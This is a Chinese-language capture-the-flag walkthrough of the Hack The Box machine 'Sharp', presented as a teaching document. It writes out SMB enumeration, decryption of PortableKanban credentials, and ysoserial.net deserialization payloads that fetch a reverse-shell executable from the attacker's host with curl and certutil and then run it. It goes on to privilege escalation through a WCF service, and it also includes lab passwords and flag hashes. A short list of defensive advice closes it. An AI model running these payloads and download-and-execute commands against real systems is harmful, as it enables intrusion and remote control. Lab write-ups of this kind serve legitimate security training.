[Meachines] [Hard] Sharp SMB+PortableKanban+.NET-RE+WCF
字数 1568 2025-09-23 19:27:38

Sharp SMB + PortableKanban + .NET-RE + WCF 渗透测试教学文档

1. 信息收集

1.1 主机发现与端口扫描

# 检查目标主机是否在线
ip='10.10.10.219'
itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
    # 使用masscan进行快速端口扫描
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
    if [ -n "$ports" ]; then
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
        # 使用nmap进行详细服务扫描
        nmap -Pn -sV -sC -p "$ports" "$ip"
    else
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
    fi
else
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

1.2 端口扫描结果分析

发现开放端口:

  • 135/tcp: Microsoft RPC
  • 139/tcp: NetBIOS-SSN
  • 445/tcp: SMB文件共享
  • 5985/tcp: WinRM (HTTP API)
  • 8888/tcp: StorageCraft Image Manager
  • 8889/tcp: .NET Message Framing

2. SMB枚举与PortableKanban解密

2.1 SMB共享发现

# 匿名枚举SMB共享
smbmap -H 10.10.10.219

# 访问kanban共享
smbclient -N //10.10.10.219/kanban

2.2 PortableKanban配置文件获取

# 下载配置文件
smb: \> wget PortableKanban.pk3

2.3 配置文件解密

# 使用专用解密脚本
python3 49409.py PortableKanban.pk3

获取凭据:

  • administrator
  • lars
  • G2@$btRSHJYTarg
  • G123HHrth234gRG

2.4 凭据验证与访问

# 使用CrackMapExec验证凭据
crackmapexec smb 10.10.10.219 -u USER -p PASS

# 使用有效凭据访问SMB
smbmap -H 10.10.10.219 -u 'lars' -p 'G123HHrth234gRG'
smbclient -N //10.10.10.219/dev -U 'lars%G123HHrth234gRG'

3. .NET远程服务利用

3.1 服务分析

发现服务端点:SecretSharpDebugApplicationEndpoint

  • 类型过滤器级别:TypeFilterLevel.Full
  • 允许反序列化任意类型,存在反序列化RCE风险
  • 认证凭据:username="debug", password="SharpApplicationDebugUserPassword123!"

3.2 利用工具准备

  • ysoserial.net: .NET反序列化利用工具
  • ExploitRemotingService: .NET Remoting服务利用工具
  • 反向shell程序: rev_10.10.16.14_9292.exe

3.3 反向shell生成

// reverse_win.c 源码
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[]) {
    // ... 反向shell实现代码 ...
}

编译命令:

x86_64-w64-mingw32-gcc rev.c -o rev_10.10.16.14_9292.exe -lws2_32

3.4 攻击方法一:直接连接

3.4.1 下载阶段

# 生成下载命令的序列化payload
$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "curl -o c:\windows\temp\rev_10.10.16.14_9292.exe http://10.10.16.14/download_with_token/4db980844ae74fc086f8efab397956b7"

# 执行反序列化攻击
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $shell

3.4.2 执行阶段

# 生成执行命令的序列化payload
$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "c:\windows\temp\rev_10.10.16.14_9292.exe"

# 执行反序列化攻击
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw $shell

3.5 攻击方法二:使用SOCAT隧道

3.5.1 建立隧道

# 在攻击机上建立端口转发
socat TCP-LISTEN:8888,reuseaddr,fork TCP:10.10.10.219:8888

3.5.2 下载阶段

$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "curl -o c:\windows\temp\rev_10.10.16.14_9292.exe http://10.10.16.14/download_with_token/402bc29a788f48689a0c63b2a65affac"
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://<ATTACK_IP>:8888/SecretSharpDebugApplicationEndpoint raw $shell

3.5.3 执行阶段

$shell=.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "c:\windows\temp\rev_10.10.16.14_9292.exe"
.\ExploitRemotingService.exe --user=debug --pass='SharpApplicationDebugUserPassword123!' -s tcp://<ATTACK_IP>:8888/SecretSharpDebugApplicationEndpoint raw $shell

3.6 获取用户权限

成功获取shell后,找到user.txt:

d63b93adfef4a515c92e89fd52c65f2c

4. 权限提升:WCF服务利用

4.1 WCF服务分析

  • WCF (Windows Communication Foundation) 是微软的通信框架
  • 端口8889运行WCF服务:WcfServer.exe
  • 当前用户权限较低,需要提权

4.2 服务权限检查

# 查找8889端口的进程信息
$p=(Get-NetTCPConnection -LocalPort 8889 -ErrorAction SilentlyContinue).OwningProcess
if(-not $p){
    $p=([int]((netstat -ano|Select-String ":8889") -split '\s+')[-1])
}
$proc=Get-CimInstance Win32_Process -Filter "ProcessId=$p"
$owner=$proc.GetOwner()
[pscustomobject]@{
    PID=$p
    ProcessName=$proc.Name
    User=if($owner.User){"$($owner.Domain)\$($owner.User)"}else{"Unknown"}
    Path=$proc.ExecutablePath
    CommandLine=$proc.CommandLine
}

4.3 WCF客户端利用

# 上传WCF客户端工具
certutil -urlcache -split -f "http://10.10.16.14/download_with_token/685a5d1592684e6bb54814e275fd1b49" "1757982985365.zip"

# 使用WCF客户端执行命令
.\WcfClient.exe 127.0.0.1:8889 c:\programdata\rev_10.10.16.14_443.exe

4.4 获取系统权限

成功提权后,找到root.txt:

38188f3e510ac5f27e962e56b817b363

5. 关键工具与资源

5.1 必要工具

  1. ysoserial.net: .NET反序列化利用工具
  2. ExploitRemotingService: .NET Remoting服务利用工具
  3. CrackMapExec: SMB凭据验证工具
  4. SOCAT: 网络隧道工具
  5. Mingw-w64: Windows可执行文件编译工具

5.2 资源链接

  • tolapi项目: https://github.com/MartinxMax/tolapi
  • Chameleon反向shell: https://raw.githubusercontent.com/MartinxMax/Chameleon/main/reverseshell/reverse_win.c

6. 防御建议

6.1 针对反序列化漏洞

  • 设置TypeFilterLevel为Low
  • 实现自定义序列化绑定器
  • 验证输入数据的合法性

6.2 针对WCF服务

  • 实施适当的权限分离
  • 使用传输层安全加密通信
  • 定期审计服务配置

6.3 通用安全措施

  • 定期更新和打补丁
  • 实施最小权限原则
  • 启用日志记录和监控
  • 进行定期安全评估

本教学文档详细展示了从信息收集到权限提升的完整渗透测试流程,重点突出了.NET反序列化漏洞和WCF服务的安全问题及利用方法。

Sharp SMB + PortableKanban + .NET-RE + WCF 渗透测试教学文档 1. 信息收集 1.1 主机发现与端口扫描 1.2 端口扫描结果分析 发现开放端口: 135/tcp: Microsoft RPC 139/tcp: NetBIOS-SSN 445/tcp: SMB文件共享 5985/tcp: WinRM (HTTP API) 8888/tcp: StorageCraft Image Manager 8889/tcp: .NET Message Framing 2. SMB枚举与PortableKanban解密 2.1 SMB共享发现 2.2 PortableKanban配置文件获取 2.3 配置文件解密 获取凭据: administrator lars G2@$btRSHJYTarg G123HHrth234gRG 2.4 凭据验证与访问 3. .NET远程服务利用 3.1 服务分析 发现服务端点: SecretSharpDebugApplicationEndpoint 类型过滤器级别: TypeFilterLevel.Full 允许反序列化任意类型,存在反序列化RCE风险 认证凭据:username="debug", password="SharpApplicationDebugUserPassword123 !" 3.2 利用工具准备 ysoserial.net: .NET反序列化利用工具 ExploitRemotingService: .NET Remoting服务利用工具 反向shell程序: rev_ 10.10.16.14_ 9292.exe 3.3 反向shell生成 编译命令: 3.4 攻击方法一:直接连接 3.4.1 下载阶段 3.4.2 执行阶段 3.5 攻击方法二:使用SOCAT隧道 3.5.1 建立隧道 3.5.2 下载阶段 3.5.3 执行阶段 3.6 获取用户权限 成功获取shell后,找到user.txt: 4. 权限提升:WCF服务利用 4.1 WCF服务分析 WCF (Windows Communication Foundation) 是微软的通信框架 端口8889运行WCF服务:WcfServer.exe 当前用户权限较低,需要提权 4.2 服务权限检查 4.3 WCF客户端利用 4.4 获取系统权限 成功提权后,找到root.txt: 5. 关键工具与资源 5.1 必要工具 ysoserial.net : .NET反序列化利用工具 ExploitRemotingService : .NET Remoting服务利用工具 CrackMapExec : SMB凭据验证工具 SOCAT : 网络隧道工具 Mingw-w64 : Windows可执行文件编译工具 5.2 资源链接 tolapi项目: https://github.com/MartinxMax/tolapi Chameleon反向shell: https://raw.githubusercontent.com/MartinxMax/Chameleon/main/reverseshell/reverse_ win.c 6. 防御建议 6.1 针对反序列化漏洞 设置TypeFilterLevel为Low 实现自定义序列化绑定器 验证输入数据的合法性 6.2 针对WCF服务 实施适当的权限分离 使用传输层安全加密通信 定期审计服务配置 6.3 通用安全措施 定期更新和打补丁 实施最小权限原则 启用日志记录和监控 进行定期安全评估 本教学文档详细展示了从信息收集到权限提升的完整渗透测试流程,重点突出了.NET反序列化漏洞和WCF服务的安全问题及利用方法。